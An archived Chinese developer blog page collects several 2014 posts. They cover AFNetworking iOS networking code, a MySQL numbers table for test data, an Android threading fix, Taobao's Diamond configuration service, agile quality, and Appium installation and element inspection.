[formData appendPartWithFileURL:fileURL name:@"images[]" error:nil];
}];
AFHTTPRequestOperation *operation = [[AFHTTPRequestOperation alloc] initWithRequest:request];
[mutableOperations addObject:operation];
}
NSArray *operations = [AFURLConnectionOperation batchOfRequestOperations:@[...] progressBlock:^(NSUInteger numberOfFinishedOperations, NSUInteger totalNumberOfOperations) {
NSLog(@"%lu of %lu complete", numberOfFinishedOperations, totalNumberOfOperations);
} completionBlock:^(NSArray *operations) {
NSLog(@"All operations in batch complete");
}];
[[NSOperationQueue mainQueue] addOperations:operations waitUntilFinished:NO];
  批量任务处理
NSMutableArray *mutableOperations = [NSMutableArray array];
for (NSURL *fileURL in filesToUpload) {
NSURLRequest *request = [[AFHTTPRequestSerializer serializer] multipartFormRequestWithMethod:@"POST" URLString:@"http://example.com/upload" parameters:nil constructingBodyWithBlock:^(id<AFMultipartFormData> formData) {
[formData appendPartWithFileURL:fileURL name:@"images[]" error:nil];
}];
AFHTTPRequestOperation *operation = [[AFHTTPRequestOperation alloc] initWithRequest:request];
[mutableOperations addObject:operation];
}
NSArray *operations = [AFURLConnectionOperation batchOfRequestOperations:@[...] progressBlock:^(NSUInteger numberOfFinishedOperations, NSUInteger totalNumberOfOperations) {
NSLog(@"%lu of %lu complete", numberOfFinishedOperations, totalNumberOfOperations);
} completionBlock:^(NSArray *operations) {
NSLog(@"All operations in batch complete");
}];
[[NSOperationQueue mainQueue] addOperations:operations waitUntilFinished:NO];
  上面的API是基于NSURLConnection,IOS7之后AFNetWorking还提供了基于NSURLSession的API
  基于NSURLSession的API
  下载任务
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration defaultSessionConfiguration];
AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:configuration];
NSURL *URL = [NSURL URLWithString:@"http://example.com/download.zip"];
NSURLRequest *request = [NSURLRequest requestWithURL:URL];
NSURLSessionDownloadTask *downloadTask = [manager downloadTaskWithRequest:request progress:nil destination:^NSURL *(NSURL *targetPath, NSURLResponse *response) {
NSURL *documentsDirectoryURL = [[NSFileManager defaultManager] URLForDirectory:NSDocumentDirectory inDomain:NSUserDomainMask appropriateForURL:nil create:NO error:nil];
return [documentsDirectoryURL URLByAppendingPathComponent:[response suggestedFilename]];
} completionHandler:^(NSURLResponse *response, NSURL *filePath, NSError *error) {
NSLog(@"File downloaded to: %@", filePath);
}];
[downloadTask resume];
  文件上传任务
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration defaultSessionConfiguration];
AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:configuration];
NSURL *URL = [NSURL URLWithString:@"http://example.com/upload"];
NSURLRequest *request = [NSURLRequest requestWithURL:URL];
NSURL *filePath = [NSURL fileURLWithPath:@"file://path/to/image.png"];
NSURLSessionUploadTask *uploadTask = [manager uploadTaskWithRequest:request fromFile:filePath progress:nil completionHandler:^(NSURLResponse *response, id responseObject, NSError *error) {
if (error) {
NSLog(@"Error: %@", error);
} else {
NSLog(@"Success: %@ %@", response, responseObject);
}
}];
[uploadTask resume];
  带进度的文件上传
NSMutableURLRequest *request = [[AFHTTPRequestSerializer serializer] multipartFormRequestWithMethod:@"POST" URLString:@"http://example.com/upload" parameters:nil constructingBodyWithBlock:^(id<AFMultipartFormData> formData) {
[formData appendPartWithFileURL:[NSURL fileURLWithPath:@"file://path/to/image.jpg"] name:@"file" fileName:@"filename.jpg" mimeType:@"image/jpeg" error:nil];
} error:nil];
AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:[NSURLSessionConfiguration defaultSessionConfiguration]];
NSProgress *progress = nil;
NSURLSessionUploadTask *uploadTask = [manager uploadTaskWithStreamedRequest:request progress:&progress completionHandler:^(NSURLResponse *response, id responseObject, NSError *error) {
if (error) {
NSLog(@"Error: %@", error);
} else {
NSLog(@"%@ %@", response, responseObject);
}
}];
[uploadTask resume];
NSURLSessionDataTask
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration defaultSessionConfiguration];
AFURLSessionManager *manager = [[AFURLSessionManager alloc] initWithSessionConfiguration:configuration];
NSURL *URL = [NSURL URLWithString:@"http://example.com/upload"];
NSURLRequest *request = [NSURLRequest requestWithURL:URL];
NSURLSessionDataTask *dataTask = [manager dataTaskWithRequest:request completionHandler:^(NSURLResponse *response, id responseObject, NSError *error) {
if (error) {
NSLog(@"Error: %@", error);
} else {
NSLog(@"%@ %@", response, responseObject);
}
}];
[dataTask resume];
  查看网络状态
  苹果官方提供Reachablity用来查看网络状态,AFNetWorking也提供这方面的API
NSURL *baseURL = [NSURL URLWithString:@"http://example.com/"];
AFHTTPRequestOperationManager *manager = [[AFHTTPRequestOperationManager alloc] initWithBaseURL:baseURL];
NSOperationQueue *operationQueue = manager.operationQueue;
[manager.reachabilityManager setReachabilityStatusChangeBlock:^(AFNetworkReachabilityStatus status) {
switch (status) {
case AFNetworkReachabilityStatusReachableViaWWAN:
case AFNetworkReachabilityStatusReachableViaWiFi:
[operationQueue setSuspended:NO];
break;
case AFNetworkReachabilityStatusNotReachable:
default:
[operationQueue setSuspended:YES];
break;
}
}];
//开始监控
[manager.reachabilityManager startMonitoring];
English »
 
Text-to-speech function is limited to 100 characters

posted @ 2014-12-11 23:44 顺其自然EVO 阅读(28227) | 评论 (0)编辑 收藏

MySQL数字辅助表

最近在做一个活动签到的功能,每个用户每天签到,累计到一定次数,可以换一些奖品。
  签到表的设计如下
  CREATE TABLE `award_chance_history` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `awardActId` int(11) DEFAULT NULL COMMENT '活动id',
  `vvid` bigint(20) DEFAULT NULL COMMENT '用户id',
  `createtime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '签到时间',
  `reason` varchar(40) DEFAULT NULL COMMENT '事由',
  `AdditionalChance` int(11) DEFAULT '0' COMMENT '积分变动',
  `type` int(11) DEFAULT NULL COMMENT '类型',
  `Chance_bak` int(11) DEFAULT '0',
  PRIMARY KEY (`id`)
  ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
  到了测试的阶段,问题来了。
  测试需要让我做一批数据,模拟用户签到了20天,30天..以便测试.
  这在Oracle都不是事儿,用Connect By直接可以解决.
  但是MySQL没有这个功能,
  一开始,我是这么做的
  这种场景其实可以用数字辅助表的方式,在MySQL技术内幕(SQL)中有记录
  首先,创建数字辅助表
create table nums(id int not null primary key);
delimiter $$
create procedure pCreateNums(cnt int)
begin
declare s int default 1;
truncate table nums;
while s<=cnt do
insert into nums select s;
set s=s+1;
end while;
end $$
delimiter ;
delimiter $$
create procedure pFastCreateNums(cnt int)
begin
declare s int default 1;
truncate table nums;
insert into nums select s;
while s*2<=cnt do
insert into nums select id+s from nums;
set s=s*2;
end while;
end $$
delimiter ;
  初始化数据
  call pFastCreateNums(10000);
  创建测试数据
  insert into award_chance_history(awardactid,vvid,reason,additionalChance,type,createtime)
  select 12,70021346,'手机签到测试',10,2,date_add('2014-12-14',interval id day) from nums order by id limit 10;
  这样就创建了从 2014-12-15以后的连续10天签到数据.

posted @ 2014-12-11 23:43 顺其自然EVO 阅读(1318) | 评论 (0)编辑 收藏

关于安卓通过webservice访问数据库问题

 ============问题描述============
  访问数据库时,手机能增删数据库的数据就是显示不了数据库的里的数据不知道是哪里的问题,用的HTTP
  这是我webservice中的产看所有信息的方法:
public List<string> selectAllCargoInfor()
{
List<string> list = new List<string>();
try
{
string sql = "select * from C";
SqlCommand cmd = new SqlCommand(sql,sqlCon);
SqlDataReader reader = cmd.ExecuteReader();
while (reader.Read())
{
//将结果集信息添加到返回向量中
list.Add(reader[0].ToString());
list.Add(reader[1].ToString());
list.Add(reader[2].ToString());
}
reader.Close();
cmd.Dispose();
}
catch(Exception)
{
}
return list;
}
  接下来是安卓端的:
  这个是MainActivity中的设置LISTVIEW的方法
private void setListView() {
listView.setVisibility(View.VISIBLE);
List<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
list = dbUtil.getAllInfo();
adapter = new SimpleAdapter(MainActivity.this, list, R.layout.adapter_item,
new String[] { "Cno", "Cname", "Cnum" },
new int[] { R.id.txt_Cno, R.id.txt_Cname, R.id.txt_Cnum });
listView.setAdapter(adapter);
}
  这个是操作类:
public List<HashMap<String, String>> getAllInfo() {
List<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
arrayList.clear();
brrayList.clear();
crrayList.clear();
new Thread(new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
crrayList = Soap.GetWebServre("selectAllCargoInfor", arrayList, brrayList);
}
}).start();
HashMap<String, String> tempHash = new HashMap<String, String>();
tempHash.put("Cno", "Cno");
tempHash.put("Cname", "Cname");
tempHash.put("Cnum", "Cnum");
list.add(tempHash);
for (int j = 0; j < crrayList.size(); j += 3) {
HashMap<String, String> hashMap = new HashMap<String, String>();
hashMap.put("Cno", crrayList.get(j));
hashMap.put("Cname", crrayList.get(j + 1));
hashMap.put("Cnum", crrayList.get(j + 2));
list.add(hashMap);
}
return list;
}
连接webservice的那个方法HttpConnSoap应该是没问题的因为数据库的增删都是可以的,就是无法实现这个显示所有信息到LISTVIEW中的这个功能不知道为什么,LOGCAT中也是一片绿没什么问题
  LOGCAT中的信息:
05-02 15:51:40.642: I/System.out(3678): <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><selectAllCargoInforResponse xmlns="http://tempuri.org/"><selectAllCargoInforResult><string>1</string><string>rice</string><string>100</string><string>2</string><string>dog</string><string>50</string><string>3</string><string>白痴</string><string>25</string></selectAllCargoInforResult></selectAllCargoInforResponse></soap:Body></soap:Envelope>
05-02 15:51:40.647: I/System.out(3678): <?xml version="1.0" encoding="utf-8"?
05-02 15:51:40.647: I/System.out(3678): soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
05-02 15:51:40.647: I/System.out(3678): soap:Body
05-02 15:51:40.647: I/System.out(3678): selectAllCargoInforResponse xmlns="http://tempuri.org/"
05-02 15:51:40.647: I/System.out(3678): selectAllCargoInforResult
05-02 15:51:40.647: I/System.out(3678): 0
05-02 15:51:40.647: I/System.out(3678): string>1</string
05-02 15:51:40.647: I/System.out(3678): string>rice</string
05-02 15:51:40.647: I/System.out(3678): string>100</string
05-02 15:51:40.647: I/System.out(3678): string>2</string
05-02 15:51:40.652: I/System.out(3678): string>dog</string
05-02 15:51:40.652: I/System.out(3678): string>50</string
05-02 15:51:40.652: I/System.out(3678): string>3</string
05-02 15:51:40.652: I/System.out(3678): string>白痴</string
05-02 15:51:40.652: I/System.out(3678): string>25</string
05-02 15:51:40.652: I/System.out(3678): /selectAllCargoInforResult
05-02 15:51:40.652: I/System.out(3678): 1
  ============解决方案1============
  分析原因就是在线程还没有执行完时候,getAllInfo早已执行完毕以后,,所以在执行for (int j = 0; j < crrayList.size(); j += 3)时候, crrayList为零行。你取出的LOGCAT是执行请求以后的返回数据,这时候setListView方法早已经走完,所以只有一行数据。截图中的一行数据来自
  HashMap<String, String> tempHash = new HashMap<String, String>();
  tempHash.put("Cno", "Cno");
  tempHash.put("Cname", "Cname");
  tempHash.put("Cnum", "Cnum");
  list.add(tempHash);
  使用Thread应该配合Handler来使用。
  我把代码修改一下
private final static int   REQUEST_SUCCESS = 1;
private final static int   REQUEST_FALSE = 0;
private void RequestData()
{
arrayList.clear();
brrayList.clear();
crrayList.clear();
new Thread(new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
crrayList = Soap.GetWebServre("selectAllCargoInfor", arrayList, brrayList);
Message msg = new Message();
if(crrayList.size()>0)
{
msg.what = REQUEST_SUCCESS;
}
else
{
msg.what = REQUEST_FALSE;
}
// 发送消息
mHandler.sendMessage(msg);
}
}).start();
}
public Handler mHandler = new Handler(){
// 接收消息
@Override
public void handleMessage(Message msg) {
// TODO Auto-generated method stub
super.handleMessage(msg);
switch (msg.what)
{
case REQUEST_SUCCESS:
setListView();
break;
case REQUEST_FALSE:
// 做错误处理
break;
default:
break;
}
}
};
private void setListView() {
listView.setVisibility(View.VISIBLE);
List<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
list = dbUtil.getAllInfo();
adapter = new SimpleAdapter(MainActivity.this, list, R.layout.adapter_item,
new String[] { "Cno", "Cname", "Cnum" },
new int[] { R.id.txt_Cno, R.id.txt_Cname, R.id.txt_Cnum });
listView.setAdapter(adapter);
}
public List<HashMap<String, String>> getAllInfo() {
List<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
HashMap<String, String> tempHash = new HashMap<String, String>();
tempHash.put("Cno", "Cno");
tempHash.put("Cname", "Cname");
tempHash.put("Cnum", "Cnum");
list.add(tempHash);
for (int j = 0; j < crrayList.size(); j += 3) {
HashMap<String, String> hashMap = new HashMap<String, String>();
hashMap.put("Cno", crrayList.get(j));
hashMap.put("Cname", crrayList.get(j + 1));
hashMap.put("Cnum", crrayList.get(j + 2));
list.add(hashMap);
}
return list;
}
  执行RequestData就可以,我没法编译,细节自己再调整看一下,应该能解决问题了。
  你给的分数太少了,大牛们都不给你解答。如果解决问题就给分哈。
  另外,Java多线程的操作可以系统学习一下。工作中使用极为频繁

posted @ 2014-12-11 23:42 顺其自然EVO 阅读(870) | 评论 (0)编辑 收藏

PLSQL Developer鲜为人知的快捷键

注释:
  使用PLSQL Developer的朋友们是否有遇到如下情况
  ① 不小心关闭了有用的窗口;
  ② 有意义的sql前几分钟不用了且关闭的情况;
  ③ PLSQL Developer界面中其中1个session 死掉了不得不关闭时,再重新开启点击恢复会话后可能不会和之前场景一摸一摸时;
  如上的情况都可以通过如下快捷键进行恢复.
  Ctrl+E【default】  ==> Edit / Recall Statement
  显示结果:
  选中任意一行 双击 直接进入源编辑界面.
  更改该快捷键步骤:
  PLSQL Developer --> tools --> preferences --> key configuration

posted @ 2014-12-11 23:40 顺其自然EVO 阅读(1382) | 评论 (0)编辑 收藏

淘宝分布式配置管理服务Diamond

 在一个分布式环境中,同类型的服务往往会部署很多实例。这些实例使用了一些配置,为了更好地维护这些配置就产生了配置管理服务。通过这个服务可以轻松地管理这些应用服务的配置问题。应用场景可概括为:
  zookeeper的一种应用就是分布式配置管理(基于ZooKeeper的配置信息存储方案的设计与实现)。百度也有类似的实现:disconf。
  Diamond则是淘宝开源的一种分布式配置管理服务的实现。Diamond本质上是一个Java写的Web应用,其对外提供接口都是基于HTTP协议的,在阅读代码时可以从实现各个接口的controller入手。
  分布式配置管理
  分布式配置管理的本质基本上就是一种推送-订阅模式的运用。配置的应用方是订阅者,配置管理服务则是推送方。概括为下图:
  其中,客户端包括管理人员publish数据到配置管理服务,可以理解为添加/更新数据;配置管理服务notify数据到订阅者,可以理解为推送。
  配置管理服务往往会封装一个客户端库,应用方则是基于该库与配置管理服务进行交互。在实际实现时,客户端库可能是主动拉取(pull)数据,但对于应用方而言,一般是一种事件通知方式。
  Diamond中的数据是简单的key-value结构。应用方订阅数据则是基于key来订阅,未订阅的数据当然不会被推送。数据从类型上又划分为聚合和非聚合。因为数据推送者可能很多,在整个分布式环境中,可能有多个推送者在推送相同key的数据,这些数据如果是聚合的,那么所有这些推送者推送的数据会被合并在一起;反之如果是非聚合的,则会出现覆盖。
  数据的来源可能是人工通过管理端录入,也可能是其他服务通过配置管理服务的推送接口自动录入。
  架构及实现
  Diamond服务是一个集群,是一个去除了单点的协作集群。如图:

服务之间同步
  Diamond服务集群每一个实例都可以对外完整地提供服务,那么意味着每个实例上都有整个集群维护的数据。Diamond有两种方式保证这一点:
  任何一个实例都有其他实例的地址;任何一个实例上的数据变更时,都会将改变的数据同步到mysql上,然后通知其他所有实例从mysql上进行一次数据拉取(DumpService::dump),这个过程只拉取改变了的数据
  任何一个实例启动后都会以较长的时间间隔(几小时),从mysql进行一次全量的数据拉取(DumpAllProcessor)
  实现上为了一致性,通知其他实例实际上也包含自己。以服务器收到添加聚合数据为例,处理过程大致为:
DatumController::addDatum // /datum.do?method=addDatum
PersistService::addAggrConfigInfo
MergeDatumService::addMergeTask // 添加一个MergeDataTask,异步处理
MergeTaskProcessor::process
PersistService::insertOrUpdate
EventDispatcher.fireEvent(new ConfigDataChangeEvent // 派发一个ConfigDataChangeEvent事件
NotifyService::onEvent // 接收事件并处理
TaskManager::addTask(..., new NotifyTask // 由此,当数据发生变动,则最终创建了一个NoticyTask
// NotifyTask同样异步处理
NotifyTaskProcessor::process
foreach server in serverList // 包含自己
notifyToDump // 调用 /notify.do?method=notifyConfigInfo 从mysql更新变动的数据
DatumController::addDatum // /datum.do?method=addDatum
PersistService::addAggrConfigInfo
MergeDatumService::addMergeTask // 添加一个MergeDataTask,异步处理
MergeTaskProcessor::process
PersistService::insertOrUpdate
EventDispatcher.fireEvent(new ConfigDataChangeEvent // 派发一个ConfigDataChangeEvent事件
NotifyService::onEvent // 接收事件并处理
TaskManager::addTask(..., new NotifyTask // 由此,当数据发生变动,则最终创建了一个NoticyTask
// NotifyTask同样异步处理
NotifyTaskProcessor::process
foreach server in serverList // 包含自己
notifyToDump // 调用 /notify.do?method=notifyConfigInfo 从mysql更新变动的数据
  虽然Diamond去除了单点问题,不过问题都下降到了mysql上。但由于其作为配置管理的定位,其数据量就mysql的应用而言算小的了,所以可以一定程度上保证整个服务的可用性。
  数据一致性
  由于Diamond服务器没有master,任何一个实例都可以读写数据,那么针对同一个key的数据则可能面临冲突。这里应该是通过mysql来保证数据的一致性。每一次客户端请求写数据时,Diamond都将写请求投递给mysql,然后通知集群内所有Diamond实例(包括自己)从mysql拉取数据。当然,拉取数据则可能不是每一次写入都能拉出来,也就是最终一致性。
  Diamond中没有把数据放入内存,但会放到本地文件。对于客户端的读操作而言,则是直接返回本地文件里的数据。
  服务实例列表
  Diamond服务实例列表是一份静态数据,直接将每个实例的地址存放在一个web server上。无论是Diamond服务还是客户端都从该web server上取出实例列表。
  对于客户端而言,当其取出了该列表后,则是随机选择一个节点(ServerListManager.java),以后的请求都会发往该节点。
  数据同步
  客户端库中以固定时间间隔从服务器拉取数据(ClientWorker::ClientWorker,ClientWorker::checkServerConfigInfo)。只有应用方关心的数据才可能被拉取。另外,为了数据推送的及时,Diamond还使用了一种long polling的技术,其实也是为了突破HTTP协议的局限性。如果整个服务是基于TCP的自定义协议,客户端与服务器保持长连接则没有这些问题。
  数据的变更
  Diamond中很多操作都会检查数据是否发生了变化。标识数据变化则是基于数据对应的MD5值来实现的。
  容灾
  在整个Diamond系统中,几个角色为了提高容灾性,都有自己的缓存,概括为下图:
  每一个角色出问题时,都可以尽量保证客户端对应用层提供服务。
  图中可分为以下部分讲解:

posted @ 2014-12-11 23:39 顺其自然EVO 阅读(2229) | 评论 (0)编辑 收藏

静态自动检查代码缺陷与隐患

代码缺陷和代码错误的最大区别是,代码缺陷不影响游戏编译,而代码错误编译都不通过。但是代码缺陷会影响游戏发布后产生的一系列BUG。。我今天无意间逛外国论坛发现的一个方法,使用了一下感觉挺给力的第一时间分享给大家。 下载下来以后,它是一个文件夹把整个文件夹拷贝在你unity的工程里面就行了。
  然后下载最新的mono 它是跨平台的,我用的是MAC所以我下载的就是一个 dmg文件, 下载完毕后安装完成即可。
  如下图所示, 选择Assets->Gendarme Report Level 选项,将弹出Gendarme界面,你可以选择它的优先级,然后点击Start按钮。如果报错的话,请把Assets文件夹下的gendarme文件夹和gendarme-report.html文件删除。
  如果你的项目比较大的话需要耐心的等待一下,大概1分钟左右。Report生成完毕后会弹出如下窗口,点击Open Report按钮即可。
  如下图所示,他会生成一个Html的页面在本地,打开后写的非常清晰,并且已经分好了类,他会告诉你那一行代码有缺陷,如何来修改你的代码。一不小心代码就一大堆隐患,赶快一个一个修改吧~

posted @ 2014-12-11 23:38 顺其自然EVO 阅读(450) | 评论 (0)编辑 收藏

敏捷开发下平衡质量和进度

  敏捷软件开发团队必须确保他们开发出来的产品质量能够满足要求,管理团队也经常希望开发团队能够提高速度以实现为客户提供更多的功能。本篇文章中多个作者探讨了质量和速度之间的关系,并提出了一些既能提高质量也能加快进度的方法。
  Bob Galen曾今在他的博客中发表了读懂我的唇语-敏捷并不快速的文章,在其中写到了追求软件开发进度下质量的重要性。
  敏捷是一个“质量游戏”,如果你以正直,承诺以及平衡的心态来玩这个游戏的话,那么结果将会是非常好的“速度游戏”,但它(速度)却并非没有代价。。。
  如果你无法玩转这个质量游戏,你所采纳的敏捷开发方法甚至比你以前使用的开发方法更慢。
  团队必须致力于把工作在一个迭代中完成,这也就意味着这些工作需要满足定义工作完成的所有标准。
  很多敏捷团队允许返工 – 修复漏洞,完成测试自动化,重构,或者设计不良导致sprint迭代的延误。即使大多数的敏捷工具允许拆分用例故事以捕捉在sprint迭代中已经完成的工作对比延期的工作,我也还是认为这给团队传达了错误的信息,让他们认为工作不在一个sprint迭代内完成是可以接受的。
  读懂我的唇语 – 并不是把所有事情做完,做完,做完!
  正如Bob解释的:一个组织不应该总是力图让进度变得更快,而应该更加注重质量。
  因此,下一次当你听到有人在激情澎湃的谈论着敏捷代表了更快的速度时,请打断他们,尝试向他们解释敏捷并不是一个“速度游戏”,而是应该强调敏捷是一个“或许能够快速运转的质量游戏”。
  Tim Ottinger曾今写过关于敏捷团队进度的14个奇怪观点,其中一个观点中就提到了质量和速度之间的关系。
  尽管大家通常会降低质量要求以求在较短时间内尽快完成工作,但是如果团队所开发的代码质量不高的话,经过全部sprint迭代后的进度最终都还是会被降低。
  Stephen Haunts在他的题目为进度并不是目标或者目的博客帖子中,描述了当管理者设定团队的进度目标后对质量会产生什么影响:
  (…)为了增加交付的功能点数目以满足绩效目标,团队会牺牲掉系统的质量,但从长远来看这样最终还是会降低团队的进度,并且会引入技术隐患。敏捷团队最好关注正在开发系统的质量与流程过程(持续交付和集成等等),以及负责开发系统的团队成员本身。
  软件开发者必须在进度和质量之间掌握平衡,正如Blake Haswell在文章什么是代码质量中解释的那样:
  虽然经常会有很多的外部压力向进度方面倾斜,但是如果你不够重视质量的话,进度最终还是会趋于缓慢以及停滞,以至最终整个项目走向颠覆。考虑到一个项目的代码质量决定了它能够在多大程度上适应需求的变化,一个可以持续改进的事情是你需要花费一部分时间来优化自己项目的代码质量。
  Blake提供了一个可以用来检查代码质量的属性列表:
  可理解性: 代码需要在各个层面上能够被容易地理解。理想情况下,软件应该非常简单,并没有非常明显的缺陷。
  可测试性: 代码需要被编写的非常容易被测试。
  正确性: 代码需要满足功能和非功能性的需求。
  有效性: 代码需要有效的使用系统资源(内存,CPU,网络连接,等)。
  Hugo Baraúna在他的博客文章名为内部质量低下软件的症状中解释了软件是如何因为变更而“变得更糟”的,最终导致质量低下并且降低进度。
  假如你正在领导一家创业公司的技术或者产品团队,你是首席技术官,并且已经推出了你们产品的第一个版本,做的还挺成功的。你们的业务模型已经得到了验证,现在你们正处于快速发展期。这真是太棒了!但这也是有代价的,它带来了一系列新的挑战。
  你们产品的第一个版本工作的很好,但是代码库却无法满足持续发展的要求。或许你的团队进度并没有像以前那样好了,团队成员一直在抱怨代码的质量问题,首席执行官和产品经理想要一些新的功能,但你现在代码规划根本无法满足业务的需求。
  他提供了一个指示质量低下的症状列表,这个列表能够帮助你来决定是否需要重写或者重构:
  所有事情都很艰难
  进度慢
  测试套件运行缓慢
  无法避免的缺陷
  你的团队是消极的
  知识缺乏共享
  新开发人员成长周期太长
  你又是如何平衡质量和进度的呢?

posted @ 2014-12-11 23:37 顺其自然EVO 阅读(685) | 评论 (0)编辑 收藏

Appium Inspector 真机定位元素

对环境的需求:
  iOS
  Mac OSX 10.7+
  XCode 4.5+ 和 Command Line Tools
  npm 0.8 or greater
  Mac OS X 10.7 or higher, 10.8.4 recommended
  XCode >= 4.6.3
  检查一下:
  发现两个网址的说法不同,安全第一,弄个高版本的吧。
  我弄了一个Xcode5.0.2,安装好了以后,继续安装Command Line Tools:
  好了,环境基本上弄好了,看看别人的帖子说法:
  1、安装node.js
  2、安装appium
  $ npm install -g appium@0.12.3
  注意appium的版本和os的兼容。
  3、启动appium
  $appium &
  真机上测试,启动时指定设备的UUID
  $appium -U xxxxxxxxxxxxxxxxxxxxxxxxxx
  appium启动服务的参数详细:
  https://github.com/appium/appium/blob/master/docs/server-args.md
 4、真机上运行,被测app必须是Developer版本。
  再看看官方网页的说法:
  npm install -g appium
  npm install wd
  appium &
  node your-appium-test.js
  哇,好简单呀!想得美,会者不难而已。
  开始吧:
  需要先安装一个node,不过我的机器上没有brew所以还得先安装一下brew,brew类似于ubuntu下面的apt-get,就是用做联网搜软件然后帮你安装上的一个管理工具,哎呀,这种描述好粗糙,能明白我的意思就行了 ^_^,先搜了一个方法:
  cd /usr/local
  mkdir homebrew
  cd homebrew
  curl -LsSf http://github.com/mxcl/homebrew/tarball/master | tar xvz -C/usr/local --strip 1
  cd bin
  ./brew -v
  file brew
  sudo ./brew update
  more brew
  自己做了一遍,大致是这个步骤,顺利安装上了:
  admins-Mac:local admin$ cd bin
  admins-Mac:bin admin$ ./brew -v
  Homebrew 0.9.5
  admins-Mac:bin admin$ file brew
  brew: POSIX shell script text executable
  cd
  vi .bash_profile
  export PATH=/usr/local/homebrew/bin:$PATH
  关闭后重新打开terminal,使.bash_profile被执行,使得PATH环境变量生效,当然你也可以source ./.bash_profile
  在这个安装的过程中,唯一需要注意的是权限,我的作法是在所有步骤之前直接把/usr/local目录都改为了admin所有,就不用每次安装都用sudo来搞了
  sudo chown -Rf admin:staff /usr/local
  这下安装node.js就简单了,一行命令:
  brew install node
  然后就是看看node安装的对不对,先vi hello_world.js,输入以下内容(假定你会用vi,vim一类的编辑器)
  var sys = require('sys'),
  http = require('http');
  http.createServer(function(req, res) {
  setTimeout(function() {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.write('Hello World');
  res.end();//截至最新版 res.close(); 以替换为 res.end();
  }, 2000);
  }).listen(8000);
  执行命令:
  node hello_world.js
  下面这样浏览器返回了Hello World字样就是成功了。
  最后检查一下:
  node -v
  v0.10.15
  npm -v
  1.4.6
  好了,全齐了。这下该正事了:
  npm install -g appium
  npm install wd
  运行appium-doctor来检查一下appium是不是都彻底ok了:
  admins-Mac:bin admin$ pwd
  /usr/local/bin
  admins-Mac:bin admin$ ls -l
  total 39064
  lrwxr-xr-x  1 admin  staff        40 Apr 14 16:33 appium -> ../lib/node_modules/appium/bin/appium.js
  lrwxr-xr-x  1 admin  staff        47 Apr 14 16:33 appium-doctor -> ../lib/node_modules/appium/bin/appium-doctor.js
  lrwxr-xr-x  1 admin  staff        47 Apr 14 16:33 authorize_ios -> ../lib/node_modules/appium/bin/authorize-ios.js
  -rwxrwxr-x  1 admin  staff       813 Apr 14 08:53 brew
  -rwxr-xr-x  1 admin  staff  19975968 Jul 26  2013 node
  lrwxr-xr-x  1 admin  staff        38 Jul 31  2013 npm -> ../lib/node_modules/npm/bin/npm-cli.js
  lrwxr-xr-x  1 admin  staff        33 Jul 31  2013 weinre -> ../lib/node_modules/weinre/weinre
  因为这台mac上没有android环境,所以报错,我也没打算在这台mac上测试android程序,所以不用搭理。Appium已经OK了。
  启动appium(&的意思是后台执行,不占用窗口):
  admins-Mac:appium admin$ appium &
  [1] 1886
  admins-Mac:appium admin$ info: Welcome to Appium v0.18.1 (REV d242ebcfd92046a974347ccc3a28f0e898595198)
  info: Appium REST http interface listener started on 0.0.0.0:4723
  info: socket.io started
  info: Non-default server args: {"merciful":true}
  检查进程,顺带删除掉这个后台进程:
  admins-Mac:appium admin$ ps -ef|grep appium
  501  1886  1274   0  4:47PM ttys000    0:00.73 node /usr/local/bin/appium
  501  1892  1274   0  4:48PM ttys000    0:00.00 grep appium
  admins-Mac:appium admin$ kill 1886
  好了,环境部分差不多就这样了。

posted @ 2014-12-11 23:36 顺其自然EVO 阅读(2022) | 评论 (0)编辑 收藏

Appium Inspector 真机定位元素

  自动化测试过程中,对被测试元素的定位是相当重要的。前面文章中也讲到了一些儿定位方法。今天讲解,如何用真机运行程序,用Appium Inspector,UI Automation Viewer来定位App的元素。
  一、Inspector定位
  平时我们定位元素的时候,通常是按下面的方式设置的。
  Device Name填写的是模拟器的名称,启动模拟器,appium后,再启动Inspector就能Reflesh启动App,来进行操作。可是这存在一个问题:模拟器比较慢,而且多少和真机不一样,比如说模拟器不能调出手机键盘等;所以如果我们要做自动化测试的时候,最好还是用真机来运行app,然后进行定位。
  真机运行Inspector的时候也非常简单,首先将手机连接到电脑上。如果有91手机助手或是类似的软件的时候,就会提示是否连接成功!一定要确保连接成功,然后将Device Name替换成手型号,如下所示:
  然后运行appium,启动inspector,就可以在真机上安装并启动App,此时刷新就可以获取最新的Screenshot,左边就能展开对应的分支,你就可以大展拳脚,进行定位了。
  注:用Appium Inspector在真机上运行并定位元素的时候,不管你现在有没有安装这个App,它都会给你重新安装一下,然后再打开,这个是很不爽的。不过运行测试用例的时候,如果有安装,则直接打开,没有安装时才会安装。
  二、UI Automation Viewer定位
  只要你用真机连接上电脑,并运行了要测试的App,打开UI Automation Viewer后,单击“Device Screenshot”按钮,就能刷新出手机上的界面,并能展示定位,如果有任何变动。再次刷新即可。

posted @ 2014-12-11 23:36 顺其自然EVO 阅读(701) | 评论 (0)编辑 收藏

Appium安装教程

 一、适用操作系统
  Win7 旗舰版Sp1 64位操作系统 或 32位操作系统
  二、所需软件
  jdk-7u45-windows-i586.exe
  node-v0.10.28-x86.msi (32位)下载地址:http://nodejs.org/download/
  adt-bundle-windows-x86-20140321.zip
